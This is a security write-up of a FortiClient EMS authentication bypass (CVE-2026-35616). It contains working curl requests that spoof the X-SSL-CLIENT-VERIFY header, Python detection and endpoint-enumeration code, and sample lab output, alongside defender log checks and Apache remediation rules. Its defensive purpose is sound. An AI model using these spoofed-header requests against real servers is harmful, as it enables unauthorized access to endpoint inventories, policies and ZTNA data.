CVE-2026-35616: FortiClient EMS Reverse-Proxy Header Spoofing Auth Bypass
CVE-2026-35616: FortiClient EMS Reverse-Proxy Header Spoofing Auth Bypass
Educational material only. Every request shown here was performed in a controlled lab against a host the author was explicitly authorized to test. All customer identifiers, hostnames, internal IP ranges and certificate serials have been removed and replaced with neutral placeholders. Do not run any of this against systems you are not explicitly authorized to test.
TL;DR
| Field | Value |
|---|---|
| CVE | CVE-2026-35616 |
| Product | FortiClient EMS (Endpoint Management Server) |
| Affected | EMS 7.4.5 – 7.4.6 |
| Fixed in | EMS 7.4.7+ (Fortinet advisory FG-IR-26-099) |
| Class | Authentication bypass via trusted reverse-proxy header |
| CVSS v3.1 | 9.1 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Status | Reported as actively exploited (CISA KEV) |
The root cause is a classic trusted-header mistake: FortiClient EMS sits
behind an Apache reverse proxy that is supposed to terminate mutual TLS and
inject the client-certificate verification result into a backend HTTP header.
The Django backend (CertChainAuth middleware) trusts that header
unconditionally. If the proxy does not strip it — or if an attacker can reach
the backend path that processes it — anyone can simply send the header
themselves and be treated as a cert-authenticated client.
1. Architecture and the trust assumption
FortiClient EMS exposes a web/API tier built on Django. In a hardened deployment the request flow is:
Client ──mTLS──> Apache (reverse proxy, terminates TLS,
validates client cert)
│
│ injects: X-SSL-CLIENT-VERIFY: SUCCESS
│ X-SSL-CLIENT-CERT: <PEM>
▼
Django backend (CertChainAuth middleware)
The backend’s CertChainAuth middleware makes an authentication decision
based on the value of X-SSL-CLIENT-VERIFY. The implicit assumption is:
“Only our own Apache front-end can ever set
X-SSL-CLIENT-VERIFY, and it only sets it toSUCCESSafter a real mutual-TLS handshake.”
That assumption breaks the moment a client can deliver that header to the
Django layer directly — because the middleware never re-validates the actual
TLS client certificate. It trusts the string in the header, not the
cryptographic fact behind it. A spoofed X-SSL-CLIENT-VERIFY: SUCCESS
header is accepted as proof of authentication.
2. Detection oracle: the 401 → 500 transition
You do not need a full bypass to confirm the vulnerability. The authentication gate produces an observable state change.
Request 1 — baseline (no spoofed header)
curl -sk -v \
-H "User-Agent: SecurityAssessment/RedTeam" \
https://ems.target.local/api/v1/system/capabilities
Response:
HTTP/2 401
content-type: application/json
server: Apache
{"result": {"retval": -4, "message": "Session has expired or does not exist."}}
HTTP 401 — authentication enforced, exactly as expected.
Request 2 — with the spoofed header
curl -sk -v \
-H "User-Agent: SecurityAssessment/RedTeam" \
-H "X-SSL-CLIENT-VERIFY: SUCCESS" \
https://ems.target.local/api/v1/system/capabilities
Response:
HTTP/2 500
content-type: application/json
server: Apache
{"result": {"retval": -2, "message": "Server encountered an error, please try again later."}}
HTTP 500 — and this is the whole proof.
Why 401 → 500 is conclusive
The status code did not stay 401. It changed to 500. That tells us:
- The
CertChainAuthmiddleware accepted the spoofedX-SSL-CLIENT-VERIFY: SUCCESSheader. - It let the request past the authentication gate and into the request handler.
- The handler then failed (
500) only because the accompanying client- certificate chain data was missing/invalid — i.e. it failed inside application logic, after auth, not at the auth check.
A patched or non-vulnerable host rejects the spoof and stays at 401/403.
A vulnerable host transitions 401 → 500 (auth bypassed, backend reached) or,
with a well-formed PEM, 401 → 200 (full bypass). The detection logic in the
PoC encodes exactly this:
if base_code in (401, 403) and spoof_code == 200:
# VULNERABLE — full auth bypass
elif base_code in (401, 403) and spoof_code in (400, 500):
# VULNERABLE — auth layer bypassed; backend processing reached
elif spoof_code in (401, 403):
# NOT VULNERABLE — header spoofing rejected
3. Unauthenticated data disclosure: /api/v1/init_consts
Beyond the header-spoof bypass, the same Django app exposes an endpoint that requires no authentication at all and no spoofed header — the auth middleware simply does not protect it:
curl -sk -D - \
-H "User-Agent: SecurityAssessment/RedTeam" \
"https://ems.target.local/api/v1/init_consts"
HTTP/2 200
content-type: application/json
content-length: 225790
server: Apache
HTTP 200, ~225 KB of internal configuration returned to a completely
anonymous client. Key fields disclosed:
result.retval: 1
data.user: null ← confirms no session/token was sent
data.user_display_name: null
data.active_vdom: "Default"
data.consts.System:
NAME: "FortiClient EMS"
NAME_FULL: "FortiClient Endpoint Management Server"
IS_HA_PRIMARY: true
HA_ENABLED: false
AIRGAPPED: false
UPDATE_TIME: "<redacted timestamp>"
UTC_OFFSET: "<redacted>"
ServicesFailure: {"DAS": false, "FCM_NOTIFY": false, "REDIS_NOTIFICATION": false}
data.consts.Permissions (45 keys — full RBAC permission map)
data.consts.GlobalPermissions (11 keys)
data.consts.Endpoint:
OperatingSystem: [Windows, Mac, Android, iPhone, iPad]
Status: [Excluded, Managed, NotInstalled, NotManaged, Quarantined]
The full RBAC permission model is leaked unauthenticated:
SUPER, ENDPOINT_COMMANDS, ENDPOINT_CONTROL, ASSIGN_POLICIES,
MANAGE_USER_MANAGEMENT, MANAGE_CA_CERTIFICATES, MANAGE_SERVER_SETTINGS,
MANAGE_FORENSICS_ANALYSIS, MANAGE_LICENSE, and ~36 more. Combined with the
header-spoof bypass against the protected APIs, this gives an attacker the
complete map of what the management API can do before they ever authenticate.
4. Read-only verification + enumeration PoC
The following is a sanitized, read-only detection and enumeration tool. It performs the 401→500 oracle (Step 1) then probes a fixed list of sensitive GET endpoints (Step 2). It never writes, never changes configuration.
Spoofed-header construction
The tool generates a throwaway self-signed certificate and injects both the verify flag and a PEM body, mirroring what a legitimate proxy would forward:
spoof_headers = {
"X-SSL-CLIENT-VERIFY": "SUCCESS",
"X-SSL-CLIENT-CERT": pem_inline, # self-signed, 1-day validity
}
Step 1 — auth-bypass detection
def step1_detect(base_url, spoof_headers):
url = base_url + "/api/v1/system/capabilities"
base_code, _ = http_req(url) # no spoof
spoof_code, _ = http_req(url, headers=spoof_headers) # with spoof
if base_code in (401, 403) and spoof_code == 200:
return "VULNERABLE — full auth bypass"
if base_code in (401, 403) and spoof_code in (400, 500):
return "VULNERABLE — auth layer bypassed; backend reached"
if spoof_code in (401, 403):
return "NOT VULNERABLE — spoofing rejected"
return "INCONCLUSIVE"
Step 2 — sensitive endpoint enumeration (read-only)
Every probe is a GET. The classifier maps the spoofed status code to an
access verdict:
| Spoofed status | Verdict |
|---|---|
200 | ACCESSIBLE via bypass (parse record count) |
400 / 500 | PARTIAL — auth gate passed, handler errored |
401 / 403 | BLOCKED — protected or patched |
404 | NOT_FOUND — endpoint absent on this version |
Endpoint groups probed (per the public research): SYSTEM
(/api/v1/system/status, /settings), ENDPOINTS
(/api/v1/endpoint/, /summary/, /onlinestatus/), POLICY
(/api/v1/endpointprofile/, /profileassignment/), GROUPS
(/api/v1/endpointgroup/), ZTNA (/api/v1/ztna/application/,
/ztna/rule/ — private-key exposure risk), FABRIC
(/api/v1/fabric_device_auth/fortigate/), and INTELLIGENCE
(/api/v1/report/fct/sysinfo, /api/v1/vulnerability/,
/api/v1/softwareinventory/).
Sample run (sanitized lab output)
[Phase 2] Step 1 — Auth bypass detection
Endpoint : /api/v1/system/capabilities
Baseline : HTTP 401 (no spoofed header)
Spoofed : HTTP 500 (X-SSL-CLIENT-VERIFY: SUCCESS)
[!!!] VULNERABLE — auth layer bypassed (401→500); backend reached
[Phase 3] Step 2 — API enumeration (read-only)
[ INTELLIGENCE ]
~ /api/v1/report/fct/sysinfo [401→500]
~ PARTIAL bypass (500) — auth gate passed
VERDICT : *** VULNERABLE — CVE-2026-35616 CONFIRMED ***
RISK SUMMARY:
• PARTIAL: INTELLIGENCE — /api/v1/report/fct/sysinfo — auth gate bypassed
A PARTIAL (500) here is not a failed exploit — it is a confirmed auth
bypass whose handler needs a well-formed certificate chain to render 200.
The security boundary (authentication) is already defeated at that point.
5. Impact
Chaining the unauthenticated init_consts disclosure with the header-spoof
bypass against the management API gives a remote, unauthenticated attacker:
- Confidentiality — full read of the EMS management surface: managed endpoint inventory, online/offline state, security policies and profile assignments, software inventory, vulnerability data, and the complete RBAC permission map.
- Integrity — the same trusted-header trust applies to write endpoints; an attacker reaching policy/profile or endpoint-command APIs can push configuration or commands to managed endpoints. (Not demonstrated here — this writeup stays strictly read-only.)
- Pivot value — EMS manages endpoint agents fleet-wide; control of it is a fleet-wide endpoint compromise primitive. ZTNA endpoints additionally risk private-key exposure.
This is why the CVSS is 9.1: network-reachable, no privileges, no user
interaction, high confidentiality and integrity impact.
6. Detection for defenders
Review the EMS / Apache access logs for:
- Requests to
/api/carrying an inboundX-SSL-CLIENT-VERIFY(orX-SSL-CLIENT-CERT) header — a legitimate external client never sends these; only the local proxy should. HTTP 200,400or500responses on/api/paths originating from unexpected source IPs.- Anonymous
200responses on/api/v1/init_constsfrom outside the management network. - Unexplained recent changes to endpoint policies/profiles.
7. Remediation
Immediately
- Apply the Fortinet hotfix for FG-IR-26-099 (no version upgrade required for the hotfix path).
- Restrict EMS
443so it is not reachable from outside the management network (firewall / network ACL).
This week
-
Upgrade FortiClient EMS to 7.4.7+ for the permanent fix.
-
Harden the reverse proxy to strip the trusted headers before they reach the backend, so a client can never inject them:
RequestHeader unset X-SSL-CLIENT-VERIFY RequestHeader unset X-SSL-CLIENT-CERT # then re-set them only from the verified mTLS state, e.g.: RequestHeader set X-SSL-CLIENT-VERIFY "%{SSL_CLIENT_VERIFY}s"
After patching
- Hunt the access logs for prior exploitation (see §6).
- Rotate ZTNA keys and any JWT/session secrets that may have been exposed.
- Audit recent policy/profile changes for tampering.
Key takeaway
The bug is not exotic — it is the textbook reverse-proxy trusted-header failure. Whenever a backend makes a security decision from an HTTP header that “only the proxy sets,” two controls are mandatory: the proxy must unconditionally strip that header from inbound requests, and the backend must never accept it on a path the proxy doesn’t exclusively own. Trust the cryptographic fact (the validated TLS client cert), never the string a header claims about it.
References
- Vendor advisory: Fortinet PSIRT FG-IR-26-099
- Original vulnerability research: Bishop Fox — API Authentication Bypass in FortiClient EMS 7.4.5–7.4.6 (CVE-2026-35616)